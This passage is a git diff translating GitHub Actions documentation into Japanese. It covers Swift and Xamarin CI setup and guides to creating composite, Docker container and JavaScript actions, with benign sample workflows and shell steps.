-If you are using a self-hosted runner, you must install your desired Swift versions and add them to `PATH`.
+セルフホストランナーを使用している場合は、目的の Swift バージョンをインストールして `PATH` に追加する必要があります。
 
-The examples below demonstrate using the `fwal/setup-swift` action.
+以下は、`fwal/setup-swift` アクションの使用例です。
 
-### Using multiple Swift versions
+### 複数の Swift バージョンを使用する
 
-You can configure your job to use a multiple versions of Swift in a build matrix.
+ビルドマトリックスで Swift の複数のバージョンを使用するようにジョブを設定できます。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -95,9 +95,9 @@ jobs:
         run: swift test
 ```
 
-### Using a single specific Swift version
+### 単一の特定の Swift バージョンを使用する
 
-You can configure your job to use a single specific version of Swift, such as `5.3.3`.
+`5.3.3` などの特定のバージョンの Swift を使用するようにジョブを設定できます。
 
 {% raw %}
 ```yaml{:copy}
@@ -110,9 +110,9 @@ steps:
 ```
 {% endraw %}
 
-## Building and testing your code
+## コードのビルドとテスト
 
-You can use the same commands that you use locally to build and test your code using Swift. This example demonstrates how to use `swift build` and `swift test` in a job:
+ローカルで使うのと同じコマンドを使用して、Swift でコードをビルドおよびテストできます。 以下は、ジョブでの `swift build` と `swift test` の使用例です。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
index 312c10753e..160590a182 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Xamarin applications
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Xamarin application.
+title: Xamarin アプリケーションのビルドとテスト
+intro: GitHub Actions で継続的インテグレーション (CI) ワークフローを作成して、Xamarin アプリケーションをビルドおよびテストできます。
 redirect_from:
   - /actions/guides/building-and-testing-xamarin-applications
 versions:
@@ -22,9 +22,9 @@ shortTitle: Build & test Xamarin apps
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Xamarin project. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy.
+このガイドでは、Xamarin プロジェクトの継続的インテグレーション (CI) を実行するワークフローを作成する方法を説明します。 作成するワークフローによって、Pull Requestに対するコミットがデフォルトブランチに対してビルドあるいはテストの失敗を引き起こしたことを見ることができるようになります。このアプローチは、コードが常に健全であることを保証するための役に立ちます。
 
 For a full list of available Xamarin SDK versions on the {% data variables.product.prodname_actions %}-hosted macOS runners, see the documentation:
 
@@ -33,13 +33,13 @@ For a full list of available Xamarin SDK versions on the {% data variables.produ
 
 {% data reusables.github-actions.macos-runner-preview %}
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of Xamarin, .NET Core SDK, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Xamarin、.NET Core SDK、YAML、ワークフロー設定オプション、およびワークフローファイルの作成方法の基本を理解しておくことをお勧めします。 詳しい情報については、以下を参照してください。
 
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Getting started with .NET](https://dotnet.microsoft.com/learn)"
-- "[Learn Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
+- [{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- 「[.NET を使ってみる](https://dotnet.microsoft.com/learn)」
+- "[Xamarin について学ぶ](https://dotnet.microsoft.com/learn/xamarin)"
 
 ## Building Xamarin.iOS apps
 
@@ -61,7 +61,7 @@ jobs:
     - name: Set default Xamarin SDK versions
       run: |
         $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10
-    
+
     - name: Set default Xcode 12.3
       run: |
         XCODE_ROOT=/Applications/Xcode_12.3.0.app
@@ -115,8 +115,8 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## .NETのバージョンの指定
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
- 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+{% data variables.product.prodname_dotcom %}ホストランナーにプリインストールされたバージョンの.NET Core SDKを使うには、`setup-dotnet`アクションを使ってください。 このアクションは各ランナーのツールキャッシュから指定されたバージョンの.NETを見つけ、必要なバイナリを`PATH`に追加します。 これらの変更は、ジョブの残りの部分で保持されます。
+
+`setup-dotnet`アクションは、{% data variables.product.prodname_actions %}で.NETを使うための推奨される方法です。これは、それによって様々なランナーや様々なバージョンの.NETに渡って一貫した振る舞いが保証されるためです。 セルフホストランナーを使っている場合は、.NETをインストールして`PATH`に追加しなければなりません。 詳しい情報については[`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk)アクションを参照してください。
diff --git a/translations/ja-JP/content/actions/creating-actions/creating-a-composite-action.md b/translations/ja-JP/content/actions/creating-actions/creating-a-composite-action.md
index 393112d951..478112e49e 100644
--- a/translations/ja-JP/content/actions/creating-actions/creating-a-composite-action.md
+++ b/translations/ja-JP/content/actions/creating-actions/creating-a-composite-action.md
@@ -17,23 +17,23 @@ shortTitle: Composite action
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye",  or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`.
+In this guide, you'll learn about the basic components needed to create and use a packaged composite action. アクションのパッケージ化に必要なコンポーネントのガイドに焦点を当てるため、アクションのコードの機能は最小限に留めます。 アクションは「Hello World」と「Goodbye」を出力するか、カスタムの名前を指定すると「Hello  [who-to-greet]」と「Goodbye」を出力します。 このアクションは、乱数を `random-number`という出力変数にマップし、 `goodbye.sh`という名前のスクリプトを実行することもします。
 
 Once you complete this project, you should understand how to build your own composite action and test it in a workflow.
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## 必要な環境
 
 Before you begin, you'll create a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-1. Create a new public repository on {% data variables.product.product_location %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.product_name %}. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. {% data variables.product.product_location %} に新しいパブリックリポジトリを作成します。 You can choose any repository name, or use the following `hello-world-composite-action` example. これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 詳しい情報については、「[新しいリポジトリの作成](/articles/creating-a-new-repository)」を参照してください。
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. リポジトリをお手元のコンピューターにクローンします。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。
 
-1. From your terminal, change directories into your new repository.
+1. ターミナルから、ディレクトリを新しいリポジトリに変更します。
 
   ```shell
   cd hello-world-composite-action
@@ -45,20 +45,20 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
   echo "Goodbye"
   ```
 
-3. From your terminal, make `goodbye.sh` executable.
+3. ターミナルから、`goodbye.sh` を実行可能にします。
 
   ```shell
   chmod +x goodbye.sh
   ```
 
-1. From your terminal, check in your `goodbye.sh` file.
+1. ターミナルから、 `goodbye.sh` ファイルをチェックインします。
   ```shell
   git add goodbye.sh
   git commit -m "Add goodbye script"
   git push
   ```
 
-## Creating an action metadata file
+## アクションのメタデータファイルの作成
 
 1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see "[`runs` for a composite actions](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
 
@@ -88,13 +88,13 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
           shell: bash
     ```
     {% endraw %}
-  This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, and runs the `goodbye.sh` script. It also tells the runner how to execute the composite action.
+  このファイルは`who-to-greet`入力を定義し、ランダムに生成された数値を`random-number`出力変数にマップし、`goodbye.sh`スクリプトを実行します。 It also tells the runner how to execute the composite action.
 
   For more information about managing outputs, see "[`outputs` for a composite action](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)".
 
-  For more information about how to use `github.action_path`, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+  `github.action_path`の使用方法の詳細については、「[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)」を参照してください。
 
-1. From your terminal, check in your `action.yml` file.
+1. ターミナルから、`action.yml` ファイルをチェックインします。
 
   ```shell
   git add action.yml
@@ -102,18 +102,18 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
   git push
   ```
 
-1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see "[About actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+1. ターミナルから、タグを追加します。 この例では、`v1` というタグを使用しています。 詳しい情報については、「[Actionsについて](/actions/creating-actions/about-actions#using-release-management-for-actions)」を参照してください。
 
   ```shell
   git tag -a -m "Description of this release" v1
   git push --follow-tags
   ```
 
-## Testing out your action in a workflow
+## ワークフローでアクションをテストする
 
-The following workflow code uses the completed hello world action that you made in "[Creating an action metadata file](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
+次のワークフローのコードでは、「[Actionsのメタデータファイルの作成](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)」で作成したhello world Actionを使用しています。
 
-Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. You can also replace the `who-to-greet` input with your name.
+Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. `who-to-greet`の入力を自分の名前に置き換えることもできます。
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -135,4 +135,4 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number.
+リポジトリから [**Actions**] タブをクリックして、最新のワークフロー実行を選択します。 出力には、「Hello Mona the Octocat」、"Goodbye"スクリプトの結果、および乱数が含まれているはずです。
diff --git a/translations/ja-JP/content/actions/creating-actions/creating-a-docker-container-action.md b/translations/ja-JP/content/actions/creating-actions/creating-a-docker-container-action.md
index 049b7b0208..0af1dc3dad 100644
--- a/translations/ja-JP/content/actions/creating-actions/creating-a-docker-container-action.md
+++ b/translations/ja-JP/content/actions/creating-actions/creating-a-docker-container-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a Docker container action
-intro: 'This guide shows you the minimal steps required to build a Docker container action. '
+title: Docker コンテナのアクションを作成する
+intro: このガイドでは、Docker コンテナのアクションを作成するために最低限必要なステップを案内します。
 redirect_from:
   - /articles/creating-a-docker-container-action
   - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action
@@ -21,58 +21,58 @@ shortTitle: Docker container action
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+このガイドでは、パッケージ化されたDockerコンテナのアクションを作成して使うために必要な、基本的コンポーネントについて学びます。 アクションのパッケージ化に必要なコンポーネントのガイドに焦点を当てるため、アクションのコードの機能は最小限に留めます。 このアクションは、ログに "Hello World" を出力するものです。また、カスタム名を指定した場合は、"Hello [who-to-greet]" を出力します。
 
-Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow.
+このプロジェクトを完了すると、あなたの Docker コンテナのアクションをビルドして、ワークフローでテストする方法が理解できます。
 
 {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## 必要な環境
 
-You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem:
+{% data variables.product.prodname_actions %}の環境変数及びDockerコンテナのファイルシステムに関する基本的な理解があれば役立つでしょう。
 
-- "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)"
+- [環境変数の利用](/actions/automating-your-workflow-with-github-actions/using-environment-variables)
 {% ifversion ghae %}
-- "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
-{% else %} 
-- "[Virtual environments for {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners#docker-container-filesystem)"
+- 「[Docker コンテナファイルシステム](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)」
+{% else %}
+- [{% data variables.product.prodname_dotcom %}の仮想環境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners#docker-container-filesystem)
 {% endif %}
 
-Before you begin, you'll need to create a {% data variables.product.prodname_dotcom %} repository.
+始める前に、{% data variables.product.prodname_dotcom %} リポジトリを作成する必要があります。
 
-1. Create a new repository on {% data variables.product.product_location %}. You can choose any repository name or use "hello-world-docker-action" like this example. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. {% data variables.product.product_location %} に新しいリポジトリを作成します。 リポジトリ名は任意です。この例のように "hello-world-docker-action" を使ってもいいでしょう。 詳しい情報については、「[新しいリポジトリの作成](/articles/creating-a-new-repository)」を参照してください。
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. リポジトリをお手元のコンピューターにクローンします。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。
 
-1. From your terminal, change directories into your new repository.
+1. ターミナルから、ディレクトリを新しいリポジトリに変更します。
 
   ```shell{:copy}
   cd hello-world-docker-action
   ```
 
-## Creating a Dockerfile
+## Dockerfileの作成
 
-In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)."
+新しい`hello-world-docker-action`ディレクトリ内に、新たに`Dockerfile`というファイルを作成してください。 Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. 詳しい情報については、「[{% data variables.product.prodname_actions %} のための Dockerfile サポート](/actions/creating-actions/dockerfile-support-for-github-actions)」を参照してください。
 
 **Dockerfile**
 ```Dockerfile{:copy}
-# Container image that runs your code
+# コードを実行するコンテナイメージ
 FROM alpine:3.10
 
-# Copies your code file from your action repository to the filesystem path `/` of the container
+# アクションのリポジトリからコードファイルをコンテナのファイルシステムパス `/`にコピー
 COPY entrypoint.sh /entrypoint.sh
 
-# Code file to execute when the docker container starts up (`entrypoint.sh`)
+# dockerコンテナが起動する際に実行されるコードファイル (`entrypoint.sh`)
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-## Creating an action metadata file
+## アクションのメタデータファイルの作成
 
-Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+新しい `action.yml` ファイルを、上で作成した `hello-world-docker-action` ディレクトリの中に作成します。 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions)」を参照してください。
 
 {% raw %}
 **action.yml**
@@ -96,19 +96,19 @@ runs:
 ```
 {% endraw %}
 
-This metadata defines one `who-to-greet`  input and one `time` output parameter. To pass inputs to the Docker container, you must declare the input using `inputs` and pass the input in the `args` keyword.
+このメタデータは、1 つの `who-to-greet` 入力と 1 つの `time` 出力パラメータを定義しています。 Docker コンテナに入力を渡すには、`inputs` を使用して入力を宣言したうえで `args` キーワードを使用します。
 
-{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image.
+{% data variables.product.prodname_dotcom %} は `Dockerfile` からイメージをビルドし、このイメージを使用して新しいコンテナでコマンドを実行します。
 
-## Writing the action code
+## アクションのコードの記述
 
-You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file.
+任意のベース Docker イメージを選択できるので、アクションに任意の言語を選択できます。 次のシェルスクリプトの例では、`who-to-greet` 入力変数を使って、ログファイルに "Hello [who-to-greet]" と出力します。
 
-Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must use a workflow command in a specific syntax: `echo "::set-output name=<output name>::<value>"`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)."
+次に、スクリプトは現在の時刻を取得し、それをジョブ内で後に実行するアクションが利用できる出力変数に設定します。 {% data variables.product.prodname_dotcom %}に出力変数を認識させるには、`echo "::set-output name=<output name>::<value>"`という構文でワークフローコマンドを使わなければなりません。 詳しい情報については「[{% data variables.product.prodname_actions %}のワークフローコマンド](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)」を参照してください。
 
-1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory.
+1. `hello-world-docker-action` ディレクトリに、新しい `entrypoint.sh` を作成します。
 
-1. Add the following code to your `entrypoint.sh` file.
+1. `entrypoint.sh`ファイルに次のコードを追加します。
 
   **entrypoint.sh**
   ```shell{:copy}
@@ -118,38 +118,38 @@ Next, the script gets the current time and sets it as an output variable that ac
   time=$(date)
   echo "::set-output name=time::$time"
   ```
-  If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+  `entrypoint.sh`がエラーなく実行できたら、アクションのステータスは`success`に設定されます。 アクションのコード中で明示的に終了コードを設定して、アクションのステータスを提供することもできます。 詳しい情報については「[アクションの終了コードの設定](/actions/creating-actions/setting-exit-codes-for-actions)」を参照してください。
 
-1. Make your `entrypoint.sh` file executable by running the following command on your system.
+1. 以下のコマンドをシステムで実行して、`entrypoint.sh`ファイルを実行可能にしてください。
 
   ```shell{:copy}
   $ chmod +x entrypoint.sh
   ```
 
-## Creating a README
+## READMEの作成
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+アクションの使用方法を説明するために、README ファイルを作成できます。 README はアクションの公開を計画している時に非常に役立ちます。また、アクションの使い方をあなたやチームが覚えておく方法としても優れています。
 
-In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information:
+`hello-world-docker-action` ディレクトリの中に、以下の情報を記述した `README.md` ファイルを作成してください。
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- アクションが実行する内容の詳細
+- 必須の入力引数と出力引数
+- オプションの入力引数と出力引数
+- アクションが使用するシークレット
+- アクションが使用する環境変数
+- ワークフローでアクションを使う使用方法の例
 
 **README.md**
 ```markdown{:copy}
 # Hello world docker action
 
-This action prints "Hello World" or "Hello" + the name of a person to greet to the log.
+このアクションは"Hello World"もしくは"Hello" + ログに挨拶する人物名を出力します。
 
 ## Inputs
 
 ## `who-to-greet`
 
-**Required** The name of the person to greet. Default `"World"`.
+**Required** The name of the person to greet. デフォルトは `"World"`。
 
 ## Outputs
 
@@ -157,18 +157,18 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t
 
 The time we greeted you.
 
-## Example usage
+## 使用例
 
 uses: actions/hello-world-docker-action@v1
 with:
   who-to-greet: 'Mona the Octocat'
 ```
 
-## Commit, tag, and push your action to {% data variables.product.product_name %}
+## アクションの{% data variables.product.product_name %}へのコミットとタグ、プッシュ
 
-From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files.
+ターミナルから、`action.yml`、`entrypoint.sh`、`Dockerfile`、および `README.md` ファイルをコミットします。
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+アクションのリリースにはバージョンタグを加えることもベストプラクティスです。 アクションのバージョン管理の詳細については、「[アクションについて](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)」を参照してください。
 
 ```shell{:copy}
 git add action.yml entrypoint.sh Dockerfile README.md
@@ -177,15 +177,15 @@ git tag -a -m "My first action release" v1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## ワークフローでアクションをテストする
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+これで、ワークフローでアクションをテストできるようになりました。 プライベートリポジトリにあるアクションは、同じリポジトリのワークフローでしか使用できません。 パブリックアクションは、どのリポジトリのワークフローでも使用できます。
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
+### パブリックアクションを使用する例
 
-The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)." {% endif %}
+以下のワークフローのコードは、パブリックの[`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action)リポジトリ内の完成した_hello world_アクションを使います。 次のワークフローサンプルコードを `.github/workflows/main.yml` にコピーし、`actions/hello-world-docker-action` をあなたのリポジトリとアクション名に置き換えてください。 `who-to-greet`の入力を自分の名前に置き換えることもできます。 {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. 詳しい情報については「[アクションの公開](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)」を参照してください。 {% endif %}
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -202,15 +202,15 @@ jobs:
         uses: actions/hello-world-docker-action@v1
         with:
           who-to-greet: 'Mona the Octocat'
-      # Use the output from the `hello` step
+      # `hello` ステップからの出力を使用する
       - name: Get the output time
         run: echo "The time was ${{ steps.hello.outputs.time }}"
 ```
 {% endraw %}
 
-### Example using a private action
+### プライベートアクションを使用する例
 
-Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %}
+次のワークフローコードサンプルを、あなたのアクションのリポジトリの `.github/workflows/main.yml` ファイルにコピーします。 `who-to-greet`の入力を自分の名前に置き換えることもできます。 {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %}
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -222,8 +222,8 @@ jobs:
     runs-on: ubuntu-latest
     name: A job to say hello
     steps:
-      # To use this repository's private action,
-      # you must check out the repository
+      # このリポジトリのプライベートアクションを使用するには
+      # リポジトリをチェックアウトする
       - name: Checkout
         uses: actions/checkout@v2
       - name: Hello world action step
@@ -231,16 +231,16 @@ jobs:
         id: hello
         with:
           who-to-greet: 'Mona the Octocat'
-      # Use the output from the `hello` step
+      # 「hello」ステップの出力を使用する
       - name: Get the output time
         run: echo "The time was ${{ steps.hello.outputs.time }}"
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+リポジトリから [**Actions**] タブをクリックして、最新のワークフロー実行を選択します。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}"Hello Mona the Octocat"、または `who-to-greet` 入力に指定した名前とタイムスタンプがログに出力されます。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png)
+![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/docker-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run.png)
+![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/docker-action-workflow-run.png)
 {% endif %}
diff --git a/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md b/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md
index be64353589..917db5dfe1 100644
--- a/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md
+++ b/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a JavaScript action
-intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.'
+title: JavaScript アクションを作成する
+intro: このガイドでは、アクションツールキットを使って JavaScript アクションをビルドする方法について学びます。
 redirect_from:
   - /articles/creating-a-javascript-action
   - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action
@@ -21,19 +21,19 @@ shortTitle: JavaScript action
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+このガイドでは、パッケージ化されたJavaScriptのアクションを作成して使うために必要な、基本的コンポーネントについて学びます。 アクションのパッケージ化に必要なコンポーネントのガイドに焦点を当てるため、アクションのコードの機能は最小限に留めます。 このアクションは、ログに "Hello World" を出力するものです。また、カスタム名を指定した場合は、"Hello [who-to-greet]" を出力します。
 
-This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+このガイドでは、開発の速度を高めるために{% data variables.product.prodname_actions %} ToolkitのNode.jsモジュールを使います。 詳しい情報については、[actions/toolkit](https://github.com/actions/toolkit) リポジトリ以下を参照してください。
 
-Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow.
+このプロジェクトを完了すると、あなたの JavaScript コンテナのアクションをビルドして、ワークフローでテストする方法が理解できます
 
 {% data reusables.github-actions.pure-javascript %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## 必要な環境
 
 Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository.
 
@@ -41,11 +41,11 @@ Before you begin, you'll need to download Node.js and create a public {% data va
 
   {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %}
 
-1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". 詳しい情報については、「[新しいリポジトリの作成](/articles/creating-a-new-repository)」を参照してください。
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. リポジトリをお手元のコンピューターにクローンします。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。
 
-1. From your terminal, change directories into your new repository.
+1. ターミナルから、ディレクトリを新しいリポジトリに変更します。
 
   ```shell{:copy}
   cd hello-world-javascript-action
@@ -57,9 +57,9 @@ Before you begin, you'll need to download Node.js and create a public {% data va
   npm init -y
   ```
 
-## Creating an action metadata file
+## アクションのメタデータファイルの作成
 
-Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions)」を参照してください。
 
 ```yaml{:copy}
 name: 'Hello World'
@@ -77,34 +77,34 @@ runs:
   main: 'index.js'
 ```
 
-This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action.
+このファイルは、`who-to-greet` 入力と `time` 出力を定義しています。 また、アクションのランナーに対して、この JavaScript アクションの実行を開始する方法を伝えています。
 
-## Adding actions toolkit packages
+## アクションツールキットのパッケージの追加
 
-The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency.
